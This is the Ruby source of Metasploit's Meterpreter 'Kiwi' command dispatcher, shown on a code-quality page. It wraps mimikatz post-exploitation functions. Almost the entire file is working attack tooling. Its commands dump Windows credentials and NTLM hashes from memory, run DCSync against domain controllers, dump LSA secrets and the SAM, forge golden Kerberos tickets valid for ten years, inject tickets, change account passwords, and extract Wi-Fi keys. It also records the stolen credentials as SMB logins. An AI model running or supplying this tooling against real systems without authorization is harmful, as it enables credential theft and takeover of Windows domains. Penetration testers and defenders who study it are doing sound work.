rapid7/metasploit-framework

View on GitHub
lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb

Summary

Maintainability
F
3 days
Test Coverage
# -*- coding: binary -*-
require 'rex/post/meterpreter'

module Rex
module Post
module Meterpreter
module Ui

###
#
# Kiwi extension - grabs credentials from windows memory (newer OSes).
#
# Benjamin DELPY `gentilkiwi`
# http://blog.gentilkiwi.com/mimikatz
#
# extension converted by OJ Reeves (TheColonial)
#
###
class Console::CommandDispatcher::Kiwi

  Klass = Console::CommandDispatcher::Kiwi

  include Console::CommandDispatcher

  #
  # Name for this dispatcher
  #
  def name
    'Kiwi'
  end

  #
  # Initializes an instance of the priv command interaction. This function
  # also outputs a banner which gives proper acknowledgement to the original
  # author of the Mimikatz software.
  #
  def initialize(shell)
    super
    print_line
    print_line("  .#####.   mimikatz 2.2.0 20191125 (#{client.session_type})")
    print_line(" .## ^ ##.  \"A La Vie, A L'Amour\" - (oe.eo)")
    print_line(" ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )")
    print_line(" ## \\ / ##       > http://blog.gentilkiwi.com/mimikatz")
    print_line(" '## v ##'        Vincent LE TOUX            ( vincent.letoux@gmail.com )")
    print_line("  '#####'         > http://pingcastle.com / http://mysmartlogon.com  ***/")
    print_line

    si = client.sys.config.sysinfo
    if client.arch == ARCH_X86 && si['Architecture'] == ARCH_X64
      print_warning('Loaded x86 Kiwi on an x64 architecture.')
      print_line
    end
  end

  #
  # List of supported commands.
  #
  def commands
    {
      'kiwi_cmd'              => 'Execute an arbitrary mimikatz command (unparsed)',
      'dcsync'                => 'Retrieve user account information via DCSync (unparsed)',
      'dcsync_ntlm'           => 'Retrieve user account NTLM hash, SID and RID via DCSync',
      'creds_wdigest'         => 'Retrieve WDigest creds (parsed)',
      'creds_msv'             => 'Retrieve LM/NTLM creds (parsed)',
      'creds_ssp'             => 'Retrieve SSP creds',
      'creds_livessp'         => 'Retrieve Live SSP creds',
      'creds_tspkg'           => 'Retrieve TsPkg creds (parsed)',
      'creds_kerberos'        => 'Retrieve Kerberos creds (parsed)',
      'creds_all'             => 'Retrieve all credentials (parsed)',
      'golden_ticket_create'  => 'Create a golden kerberos ticket',
      'kerberos_ticket_use'   => 'Use a kerberos ticket',
      'kerberos_ticket_purge' => 'Purge any in-use kerberos tickets',
      'kerberos_ticket_list'  => 'List all kerberos tickets (unparsed)',
      'lsa_dump_secrets'      => 'Dump LSA secrets (unparsed)',
      'lsa_dump_sam'          => 'Dump LSA SAM (unparsed)',
      'password_change'       => 'Change the password/hash of a user',
      'wifi_list'             => 'List wifi profiles/creds for the current user',
      'wifi_list_shared'      => 'List shared wifi profiles/creds (requires SYSTEM)',
    }
  end

  def cmd_kiwi_cmd(*args)
    # Kiwi expects instructions with arguments to be quoted so quote everything to be sure
    # "You can pass instructions on mimikatz command line, those with arguments/spaces must be quoted."
    # Quote from: https://github.com/gentilkiwi/mimikatz/wiki
    output = client.kiwi.exec_cmd(args.map { |s| '"' + s + '"'}.join(' '))
    print_line(output)
  end

  #
  # Valid options for the password change feature
  #
  @@password_change_usage_opts = Rex::Parser::Arguments.new(
    '-h' => [false, 'Help banner'],
    '-u' => [true,  'User name of the password to change.'],
    '-s' => [true,  'Server to perform the action on (eg. Domain Controller).'],
    '-p' => [true,  'The known existing/old password (do not use with -n).'],
    '-n' => [true,  'The known existing/old hash (do not use with -p).'],
    '-P' => [true,  'The new password to set for the account (do not use with -N).'],
    '-N' => [true,  'The new hash to set for the account (do not use with -P).']
  )

  def cmd_password_change_usage
    print_line('Usage password_change [options]')
    print_line
    print_line(@@password_change_usage_opts.usage)
  end

  def cmd_password_change(*args)
    if args.length == 0 || args.include?('-h')
      cmd_password_change_usage
      return
    end

    opts = {}

    @@password_change_usage_opts.parse(args) { |opt, idx, val|
      case opt
      when '-u'
        opts[:user] = val
      when '-s'
        opts[:server] = val
      when '-p'
        opts[:old_pass] = val
      when '-n'
        opts[:old_hash] = val
      when '-P'
        opts[:new_pass] = val
      when '-N'
        opts[:new_hash] = val
      end
    }

    valid = true
    if opts[:old_pass] && opts[:old_hash]
      print_error('Options -p and -n cannot be used together.')
      valid = false
    end

    if opts[:new_pass] && opts[:new_hash]
      print_error('Options -P and -N cannot be used together.')
      valid = false
    end

    unless opts[:old_pass] || opts[:old_hash]
      print_error('At least one of -p and -n must be specified.')
      valid = false
    end

    unless opts[:new_pass] || opts[:new_hash]
      print_error('At least one of -P and -N must be specified.')
      valid = false
    end

    unless opts[:user]
      print_error('The -u parameter must be specified.')
      valid = false
    end

    if valid

      unless opts[:server]
        print_status('No server (-s) specified, defaulting to localhost.')
      end

      result = client.kiwi.password_change(opts)

      if result[:success] == true
        print_good("Success! New NTLM hash: #{result[:new]}")
      else
        print_error("Failed! #{result[:error]}")
      end
    end
  end

  def cmd_dcsync(*args)
    check_is_domain_user

    if args.length != 1
      print_line('Usage: dcsync <DOMAIN\user>')
      print_line
      return
    end

    print_line(client.kiwi.dcsync(args[0]))
  end

  def cmd_dcsync_ntlm(*args)
    check_is_domain_user

    if args.length != 1
      print_line('Usage: dcsync_ntlm <DOMAIN\user>')
      print_line
      return
    end

    user = args[0]
    result = client.kiwi.dcsync_ntlm(user)
    if result
      print_good("Account   : #{user}")
      print_good("NTLM Hash : #{result[:ntlm]}")
      print_good("LM Hash   : #{result[:lm]}")
      print_good("SID       : #{result[:sid]}")
      print_good("RID       : #{result[:rid]}")
    else
      print_error("Failed to retrieve information for #{user}")
    end
    print_line
  end

  #
  # Invoke the LSA secret dump on thet target.
  #
  def cmd_lsa_dump_secrets(*args)
    return unless check_is_system

    print_status('Dumping LSA secrets')
    print_line(client.kiwi.lsa_dump_secrets)
    print_line
  end

  #
  # Invoke the LSA SAM dump on thet target.
  #
  def cmd_lsa_dump_sam(*args)
    return unless check_is_system

    print_status('Dumping SAM')
    print_line(client.kiwi.lsa_dump_sam)
    print_line
  end

  #
  # Valid options for the golden ticket creation functionality.
  #
  @@golden_ticket_create_opts = Rex::Parser::Arguments.new(
    '-h' => [ false, 'Help banner' ],
    '-u' => [ true,  'Name of the user to create the ticket for (required)' ],
    '-i' => [ true,  'ID of the user to associate the ticket with' ],
    '-g' => [ true,  'Comma-separated list of group identifiers to include (eg: 501,502)' ],
    '-d' => [ true,  'FQDN of the target domain (required)' ],
    '-k' => [ true,  'krbtgt domain user NTLM hash' ],
    '-t' => [ true,  'Local path of the file to store the ticket in (required)' ],
    '-s' => [ true,  'SID of the domain' ],
    '-e' => [ true,  'End in ... Duration in hours (ex: -e 10 for 10 hours), default 10 YEARS']
  )

  #
  # Output the usage for the ticket listing functionality.
  #
  def golden_ticket_create_usage
    print_line('Usage: golden_ticket_create [options]')
    print_line
    print_line('Create a golden kerberos ticket that expires in 10 years time.')
    print_line(@@golden_ticket_create_opts.usage)
  end

  #
  # Invoke the golden kerberos ticket creation functionality on the target.
  #
  def cmd_golden_ticket_create(*args)

    if args.include?("-h")
      golden_ticket_create_usage
      return
    end

    target_file = nil
    opts = {
      user: nil,
      domain_name: nil,
      domain_sid: nil,
      krbtgt_hash: nil,
      user_id: nil,
      group_ids: nil,
      end_in: 87608
    }

    @@golden_ticket_create_opts.parse(args) { |opt, idx, val|
      case opt
      when '-u'
        opts[:user] = val
      when '-d'
        opts[:domain_name] = val
      when '-k'
        opts[:krbtgt_hash] = val
      when '-t'
        target_file = val
      when '-i'
        opts[:user_id] = val.to_i
      when '-g'
        opts[:group_ids] = val
      when '-s'
        opts[:domain_sid] = val
      when '-e'
        opts[:end_in] = val.to_i
      end
    }

    # we need the user and domain at the very least
    unless opts[:user] && opts[:domain_name] && target_file
      golden_ticket_create_usage
      return
    end

    # is anything else missing?
    unless opts[:domain_sid] && opts[:krbtgt_hash]
      return unless check_is_domain_user('Unable to run module as SYSTEM unless krbtgt and domain sid are provided')

      # let's go discover it
      krbtgt_username = opts[:user].split('\\')[0] + '\\krbtgt'
      dcsync_result = client.kiwi.dcsync_ntlm(krbtgt_username)
      unless opts[:krbtgt_hash]
        opts[:krbtgt_hash] = dcsync_result[:ntlm]
        print_warning("NTLM hash for krbtgt missing, using #{opts[:krbtgt_hash]} extracted from #{krbtgt_username}")
      end

      unless opts[:domain_sid]
        domain_sid = dcsync_result[:sid].split('-')
        opts[:domain_sid] = domain_sid[0, domain_sid.length - 1].join('-')
        print_warning("Domain SID missing, using #{opts[:domain_sid]} extracted from SID of #{krbtgt_username}")
      end
    end

    ticket = client.kiwi.golden_ticket_create(opts)

    ::File.open(target_file, 'wb') do |f|
      f.write(ticket)
    end

    print_good("Golden Kerberos ticket written to #{target_file}")
  end

  #
  # Valid options for the ticket listing functionality.
  #
  @@kerberos_ticket_list_opts = Rex::Parser::Arguments.new(
    '-h' => [ false, 'Help banner' ],
  )

  #
  # Output the usage for the ticket listing functionality.
  #
  def kerberos_ticket_list_usage
    print_line('Usage: kerberos_ticket_list [options]')
    print_line
    print_line('List all the available Kerberos tickets.')
    print_line(@@kerberos_ticket_list_opts.usage)
  end

  #
  # Invoke the kerberos ticket listing functionality on the target machine.
  #
  def cmd_kerberos_ticket_list(*args)
    if args.include?('-h')
      kerberos_ticket_list_usage
      return
    end

    output = client.kiwi.kerberos_ticket_list.strip
    if output == ''
      print_error('No kerberos tickets exist in the current session.')
    else
      print_good('Kerberos tickets found in the current session.')
      print_line(output)
    end
    print_line
  end

  #
  # Invoke the kerberos ticket purging functionality on the target machine.
  #
  def cmd_kerberos_ticket_purge(*args)
    client.kiwi.kerberos_ticket_purge
    print_good('Kerberos tickets purged')
  end

  #
  # Use a locally stored Kerberos ticket in the current session.
  #
  def cmd_kerberos_ticket_use(*args)
    if args.length != 1
      print_line('Usage: kerberos_ticket_use ticketpath')
      return
    end

    target = args[0]
    ticket  = ''
    ::File.open(target, 'rb') do |f|
      ticket += f.read(f.stat.size)
    end

    print_status("Using Kerberos ticket stored in #{target}, #{ticket.length} bytes ...")
    if client.kiwi.kerberos_ticket_use(ticket)
      print_good('Kerberos ticket applied successfully.')
    else
      print_error('Kerberos ticket application failed.')
    end
  end

  #
  # Dump all the shared wifi profiles/credentials
  #
  def cmd_wifi_list_shared(*args)
    interfaces_dir = client.sys.config.getenv('AllUsersProfile') + '\Microsoft\Wlansvc\Profiles\Interfaces'
    files = client.fs.file.search(interfaces_dir, '*.xml', true)

    if files.length == 0
      print_error('No shared WiFi profiles found.')
    else
      interfaces = {}
      files.each do |f|
        interface_guid = f['path'].split("\\")[-1]
        full_path = "#{f['path']}\\#{f['name']}"

        interfaces[interface_guid] ||= []
        interfaces[interface_guid] << full_path
      end
      results = client.kiwi.wifi_parse_shared(interfaces)

      if results.length > 0
        display_wifi_profiles(results)
      else
        print_line
        print_error('No shared wireless profiles found on the target.')
      end
    end

    true
  end

  #
  # Dump all the wifi profiles/credentials for the current user
  #
  def cmd_wifi_list(*args)
    results = client.kiwi.wifi_list
    if results.length > 0
      display_wifi_profiles(results)
    else
      print_line
      print_error('No wireless profiles found on the target.')
    end

    true
  end

  @@creds_opts = Rex::Parser::Arguments.new(
    '-o' => [ true,  'Write the output to the specified file.' ],
    '-h' => [ false, 'Help menu.' ]
  )

  #
  # Displays information about the various creds commands
  #
  def cmd_creds_usage(provider)
    print_line("Usage: creds_#{provider} [options]")
    print_line
    print_line("Dump #{provider} credentials.")
    print_line(@@creds_opts.usage)
  end

  #
  # Dump all the possible credentials to screen.
  #
  def cmd_creds_all(*args)
    method = Proc.new { client.kiwi.creds_all }
    scrape_passwords('all', method, args)
  end

  #
  # Dump all wdigest credentials to screen.
  #
  def cmd_creds_wdigest(*args)
    method = Proc.new { client.kiwi.creds_wdigest }
    scrape_passwords('wdigest', method, args)
  end

  #
  # Dump all msv credentials to screen.
  #
  def cmd_creds_msv(*args)
    method = Proc.new { client.kiwi.creds_msv }
    scrape_passwords('msv', method, args)
  end

  #
  # Dump all SSP credentials to screen.
  #
  def cmd_creds_ssp(*args)
    method = Proc.new { client.kiwi.creds_ssp }
    scrape_passwords('ssp', method, args)
  end

  #
  # Dump all LiveSSP credentials to screen.
  #
  def cmd_creds_livessp(*args)
    method = Proc.new { client.kiwi.creds_livessp }
    scrape_passwords('livessp', method, args)
  end

  #
  # Dump all TSPKG credentials to screen.
  #
  def cmd_creds_tspkg(*args)
    method = Proc.new { client.kiwi.creds_tspkg }
    scrape_passwords('tspkg', method, args)
  end

  #
  # Dump all Kerberos credentials to screen.
  #
  def cmd_creds_kerberos(*args)
    method = Proc.new { client.kiwi.creds_kerberos }
    scrape_passwords('kerberos', method, args)
  end

protected

  def display_wifi_profiles(profiles)
    profiles.each do |r|
      header = r[:guid]
      header = "#{r[:desc]} - #{header}" if r[:desc]
      table = Rex::Text::Table.new(
        'Header'    => header,
        'Indent'    => 0,
        'SortIndex' => 0,
        'Columns'   => [
          'Name', 'Auth', 'Type', 'Shared Key'
        ]
      )

      print_line
      r[:profiles].each do |p|
        table << [p[:name], p[:auth], p[:key_type] || 'Unknown', p[:shared_key]]
      end

      print_line(table.to_s)
      print_line("State: #{r[:state] || 'Unknown'}")
    end
  end


  def check_is_domain_user(msg='Running as SYSTEM; function will only work if this computer account has replication privileges (e.g. Domain Controller)')
    if client.sys.config.is_system?
      print_warning(msg)
      return false
    end

    true
  end

  def check_is_system
    if client.sys.config.is_system?
      print_good('Running as SYSTEM')
      return true
    end

    print_warning('Not running as SYSTEM, execution may fail')
    false
  end

  #
  # Invoke the password scraping routine on the target.
  #
  # @param provider [String] The name of the type of credentials to dump
  #   (used for display purposes only).
  # @param method [Proc] Block that calls the method that invokes the
  #   appropriate function on the client that returns the results from
  #   Meterpreter that lay in the house that Jack built.
  #
  # @return [void]
  def scrape_passwords(provider, method, args)
    if args.include?('-h')
      cmd_creds_usage(provider)
      return
    end

    return unless check_is_system
    print_status("Retrieving #{provider} credentials")
    accounts = method.call
    output = ""

    accounts.keys.each do |k|
      next if accounts[k].length == 0

      # Keep track of the columns that we were given, in
      # the order we are given them, while removing duplicates
      columns = []
      existing = Set.new
      accounts[k].each do |acct|
        acct.keys.each do |k|
          unless existing.include?(k)
            columns << k
            existing.add(k)
          end
        end
      end

      table = Rex::Text::Table.new(
        'Header'    => "#{k} credentials",
        'Indent'    => 0,
        'SortIndex' => 0,
        'Columns'   => columns
      )

      accounts[k].each do |acct|
        values = []
        # Iterate through the given columns and match the values up
        # correctly based on the index of the column header.
        columns.each do |c|
          col_idx = acct.keys.index(c)
          # If the column exists, we'll use the value that is associated
          # with the column based on its index
          if col_idx
            values << acct.values[col_idx]
          else
            # Otherwise, just add a blank value
            values << ''
          end
        end
        if !shell.framework.nil? && shell.framework.db.active
          user, domain, secret = values
          report_creds(k, user, domain, secret)
        end
        table << values
      end

      output << table.to_s + "\n"
    end

    print_line(output)

    # determine if a target file path was passed in
    file_index = args.index('-o')
    unless file_index.nil?
      if args.length > file_index + 1
        # try to write the file to disk
        begin
          ::File.write(args[file_index + 1], output)
          print_good("Output written to #{args[file_index + 1]}")
        rescue
          print_error("Unable to write to #{args[file_index + 1]}")
        end
      else
        print_error('Missing file path for -o parameter')
      end
    end

    return true
  end

  def report_smb_cred(credential_core)
    # Assemble the options hash for creating the Metasploit::Credential::Login object
    login_data = {
      core: credential_core,
      status: Metasploit::Model::Login::Status::UNTRIED,
      address: client.sock.peerhost,
      port: 445,
      service_name: 'smb',
      protocol: 'tcp',
      workspace_id: shell.framework.db.workspace.id
    }

    shell.framework.db.create_credential_login(login_data)
  end

  def create_cred(credential_data, domain = '')
    unless domain.blank?
      credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
      credential_data[:realm_value] = domain
    end
    credential_core = shell.framework.db.create_credential(credential_data)

    credential_core
  end

  def report_creds(type, user, domain, secret)
    if client&.db_record&.id.nil?
      wlog('The session is not stored correctly in the database. Something went wrong.')
      return
    end

    credential_data = {
        origin_type: :session,
        post_reference_name: 'kiwi',
        private_data: nil,
        private_type: nil,
        session_id: client.db_record.id,
        username: user,
        workspace_id: shell.framework.db.workspace.id
    }

    return if (user.empty? || secret.eql?('(null)'))

    case type
    when :msv
      ntlm_hash = secret.strip.downcase
      if ntlm_hash != Metasploit::Credential::NTLMHash::BLANK_NT_HASH
        ntlm_hash = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{ntlm_hash}"
        # Assemble data about the credential objects we will be creating
        credential_data[:private_type] = :ntlm_hash
        credential_data[:private_data] = ntlm_hash
        credential_core = create_cred(credential_data, domain)
        report_smb_cred(credential_core)
      end
    when :wdigest, :kerberos, :tspkg, :livessp, :ssp
      # Assemble data about the credential objects we will be creating
      credential_data[:private_type] = :password
      credential_data[:private_data] = secret

      credential_core = create_cred(credential_data, domain)
      report_smb_cred(credential_core)
    end
  end

  #
  # Helper function to convert a potentially blank value to hex and have
  # the outer spaces stripped
  #
  # @param (see Rex::Text.to_hex)
  # @return [String] The result of {Rex::Text.to_hex}, strip'd
  def to_hex(value, sep = '')
    Rex::Text.to_hex(value || '', sep).strip
  end

end

end
end
end
end